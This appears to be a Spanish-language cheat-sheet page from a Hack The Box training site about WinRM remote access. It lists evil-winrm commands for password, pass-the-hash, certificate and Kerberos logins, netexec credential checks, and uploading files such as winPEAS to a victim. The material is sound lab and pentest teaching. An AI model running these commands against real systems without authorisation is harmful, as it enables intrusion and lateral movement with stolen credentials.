Administración remota de Windows (WinRM)
Subtécnica de T1021 Servicios remotos ↗
Conectarse por WinRM (puerto 5985/5986) para tener una shell de PowerShell remota.
Cómo aparece en Hack The Box
Si el usuario está en Remote Management Users, evil-winrm con contraseña, hash o certificado te da una shell cómoda con subida y descarga de ficheros.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Movimiento lateral en Windows: pass-the-hash, pass-the-ticket, WinRM, PsExec y WMI 4 min de lectura Usar una contraseña, un hash NT o un ticket de Kerberos para ejecutar comandos en otras máquinas: evil-winrm, psexec, wmiexec, RDP, golden y silver tickets.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Transferencia de archivos › Windows
Subir y bajar con evil-winrm
upload /ruta/local/fichero.exe
download C:\ruta\fichero
Escalada en Windows y Active Directory › Windows
WinRM
Atacante
evil-winrm -i 10.10.11.20 -u 'usuario' -p 'Password123!'
Pass-the-hash con evil-winrm
Atacante
evil-winrm -i 10.10.11.20 -u administrator -H HASH_NT
Escalada en Windows y Active Directory › Active Directory
Comprobar credenciales y acceso
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!'
netexec winrm 10.10.11.20 -u 'usuario' -p 'Password123!'
C2 y post-explotación › Movimiento lateral
evil-winrm
Atacante
evil-winrm -i 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b
Enter-PSSession desde Windows
Víctima
Enter-PSSession -ComputerName 10.10.11.20 -Credential box.htb\\usuario
Evil-WinRM › Formas de autenticarse
Por HTTPS (puerto 5986)
evil-winrm -i 10.10.11.20 -u usuario -p 'Password123!' -S
Con un certificado (por ejemplo, de ADCS)
evil-winrm -i 10.10.11.20 -S -c certificado.crt -k clave.key
Con Kerberos (KRB5CCNAME exportado y krb5.conf configurado)
evil-winrm -i dc01.box.htb -r box.htb
Evil-WinRM › Dentro de la sesión
Cargar scripts de una carpeta y ver el menú
evil-winrm -i 10.10.11.20 -u usuario -p 'Password123!' -s /opt/scripts
menu
winPEAS › Uso
Subirlo con Evil-WinRM
Víctima
upload winPEASx64.exe
Ningún comando coincide.